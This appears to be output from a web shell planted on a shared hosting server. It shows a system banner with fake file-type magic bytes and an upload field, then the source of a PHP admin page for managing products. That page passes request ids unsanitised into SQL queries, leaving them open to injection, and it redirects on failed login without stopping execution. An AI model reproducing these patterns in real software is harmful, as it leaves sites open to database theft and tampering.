%PDF- %GIF98; %PNG;
Server : ApacheSystem : Linux sh00666.bluehost.com 5.14.0-687.26.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Jul 14 16:32:02 EDT 2026 x86_64 User : ndkhermy ( 1200) PHP Version : 8.5.12 Disable Function : NONE Directory : /home1/ndkhermy/www/website_358eb648/admin/manage_product/ |
Upload File : |
<?php
include("../function.php");
if($_SESSION['admin_id']==""){
header('location:../login.php');
}
$login_tbl=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM admin WHERE admin_id='".$_SESSION['admin_id']."'"));
include('../include/sidebar.php');
#$menu_id=$_GET['id'];
?>
<!-- [ Main Content ] start -->
<div class="pcoded-main-container">
<div class="pcoded-content">
<!-- [ breadcrumb ] start -->
<div class="page-header">
<div class="page-block">
<div class="row align-items-center">
<div class="col-md-12">
<div class="page-header-title">
<div class="card-header d-flex justify-content-between">
<button class="btn btn-info btn-sm btn-round has-ripple"><i class="feather icon-check-square"></i> Manage | Product </button>
</div>
</div>
</div>
</div>
</div>
</div>
<!-- [ breadcrumb ] end -->
<!-- [ Main Content ] start -->
<div class="row">
<!-- [ col-md-12 ] start -->
<form method="POST" action="">
<div class="col-md-12">
<div class="card">
<div class="card-header d-flex justify-content-between">
<h5>Manage Product</h5>
<div>
<button class="btn btn-info btn-sm btn-round has-ripple"><a href="add.php?page=product" class="text-white"><i class="feather icon-plus"></i>Add</a></button>
<input class="btn btn-danger btn-sm btn-round has-ripple" type="submit" value="Delete" name='but_delete' onclick="return confirm('Are you sure to delete?');">
<input class="btn btn-success btn-sm btn-round has-ripple" type="submit" value="Active" name='but_active'>
<input class="btn btn-secondary btn-sm btn-round has-ripple" type="submit" value="Deactive" name='but_deactive'>
</div>
</div>
<div class="card-body">
<?php if(isset($_SESSION['message'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<strong class="text-dark">'.$_SESSION['message'].' <i class="feather icon-thumbs-up text-success"></i></strong>
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['message']);
?>
<?php if(isset($_SESSION['error'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<strong class="text-dark">'.$_SESSION['error'].' <i class="feather icon-thumbs-up text-danger"></i></strong>
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['error']);
?>
<?php if(isset($_SESSION['delete'])){
echo '<div class="alert alert-success alert-dismissible fade show" role="alert">
<strong class="text-dark">'.$_SESSION['delete'].' <i class="feather icon-trash-2 text-danger"></i></strong>
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close">
</button>
</div>';
}
unset($_SESSION['delete']);
?>
<div class="table-responsive">
<table id="report-table" class="table table-bordered table-striped mb-0">
<thead>
<tr>
<th><input type="checkbox" id="some1" data-check-pattern="[name^='delete']" />
</th>
<th>Sno</th>
<th>Category Name</th>
<th>Title</th>
<th>Image</th>
<th>Status</th>
<th>Action</th>
</tr>
</thead>
<tbody>
<?php
$Query=mysqli_query($conn,"SELECT * FROM product_tbl ORDER by id Desc");
$n=1;
while($row=mysqli_fetch_array($Query)){
$cattt=mysqli_fetch_assoc(mysqli_query($conn,"SELECT * FROM product_category where id='".$row['category_id']."'"));
$subbb=mysqli_fetch_assoc(mysqli_query($conn,"SELECT * FROM product_subcategory_tbl where id='".$row['subcategory_id']."'"));
?>
<tr>
<td><input type='checkbox' name='delete[]' value='<?=$row['id'];?>'></td>
<td><?=$n; $n++;?></td>
<td>
<strong>Category Name : </strong><?=$cattt['title']?><br>
<strong>Subcategory Name : </strong><?=$subbb['title_sub']?>
</td>
<td><?=$row['title1']?></td>
<td>
<img src="<?=$base_url?>images/Upload/product/<?=$row['image1']?>" width="70px" height="70px"/>
<?php
$attribute=mysqli_query($conn,"SELECT * FROM `product_img_tbl` WHERE product_id ='".$row['id']."'");
if(mysqli_num_rows($attribute)>0){?>
<?php
$Atb=mysqli_query($conn,"SELECT * FROM product_img_tbl WHERE product_id ='".$row['id']."'");
while($row1=mysqli_fetch_array($Atb)){ ?>
<img src="<?=$base_url?>images/Upload/product/<?=$row1['image_atb']?>" width="70px" height="70px">
<?php } ;?>
<?php } else { ?>
<?php } ?>
</td>
<td>
<?php
if(($row['status']=='1')){
echo'<a href="show.php?page=product&&status_id='.$row['id'].'" class="btn btn-success btn-sm"><i class="feather icon-eye"></i></a>';
}
else{
echo'<a href="show.php?page=product&&status_id='.$row['id'].'" class="btn btn-danger btn-sm"><i class="feather icon-eye-off"></i></a>';
}
?>
</td>
<td>
<a href="edit.php?page=product&&id=<?=$row['id']?>" class="btn btn-info btn-sm"><i class="feather icon-edit"></i></a>
<a href="show.php?page=product&&delete_id=<?=$row['id']?>" class="btn btn-danger btn-sm" onclick="return confirm('Are you sure to delete?');"><i class="feather icon-trash-2"></i></a>
</td>
</tr>
<?php } ;?>
</tbody>
</table>
</div>
</div>
</div>
</div>
</form>
<!-- col-md-12 end -->
</div>
<!-- [ Main Content ] end -->
</div>
</div>
<!-- Required Js -->
<?php include('../include/footer.php'); ?>
<?php
if(!empty($_GET['status_id'])){
$id=$_GET['status_id'];
$stsQry=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `product_tbl` WHERE id ='$id'"));
if($stsQry['status']==0){
$updtQry=mysqli_query($conn,"UPDATE `product_tbl` SET `status`='1' WHERE id='$id'")or die(mysqli_error($conn));
if($updtQry){
echo "<script>window.location='show.php?page=product';</script>";
$_SESSION['message']="Status Activated Successfully";
}
}
elseif($stsQry['status']==1){
$updtQry=mysqli_query($conn,"UPDATE `product_tbl` SET `status`='0' WHERE id='$id'")or die(mysqli_error($conn));
if($updtQry){
echo "<script>window.location='show.php?page=product';</script>";
$_SESSION['error']="Status Inactivated Successfully";
}
}
}
?>
<?php
if(!empty($_GET['delete_id'])){
$id=$_GET['delete_id'];
$dlt=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `product_tbl` WHERE id='".$_GET['delete_id']."'"));
$dlt_path1="../../images/Upload/service/".$dlt['image1'];
unlink($dlt_path1);
$dtQuery=mysqli_query($conn,"DELETE FROM `product_tbl` WHERE id='$id'");
if($dtQuery){
echo "<script>window.location='show.php?page=product';</script>";
$_SESSION['delete']="Record Deleted Successfully";
}
}
?>
<?php
if(isset($_POST['but_delete'])){
if(isset($_POST['delete'])){
foreach($_POST['delete'] as $deleteid){
$dlt1=mysqli_fetch_array(mysqli_query($conn,"SELECT * FROM `product_tbl` WHERE id='".$deleteid."'"));
$dlt_path1="../../images/Upload/service/".$dlt1['image1'];
unlink($dlt_path1);
mysqli_query($conn,"DELETE from product_tbl WHERE id=".$deleteid);
}
echo "<script>window.location='show.php?page=product';</script>";
$_SESSION['delete']="All Record Deleted Successfully";
}
}
?>
<?php
if(isset($_POST['but_active'])){
if(isset($_POST['delete'])){
foreach($_POST['delete'] as $deleteid){
$deleteUser = "UPDATE `product_tbl` SET `status`='1' WHERE id=".$deleteid;
mysqli_query($conn,$deleteUser);
echo "<script>window.location='show.php?page=product';</script>";
$_SESSION['message']="All Status Activated Successfully";
}
}
}
?>
<?php
if(isset($_POST['but_deactive'])){
if(isset($_POST['delete'])){
foreach($_POST['delete'] as $deleteid){
$deleteUser="UPDATE `product_tbl` SET `status`='0' WHERE id=".$deleteid;
mysqli_query($conn,$deleteUser);
}
echo "<script>window.location='show.php?page=product';</script>";
$_SESSION['error']="All Status Inactivated Successfully";
}
}
?>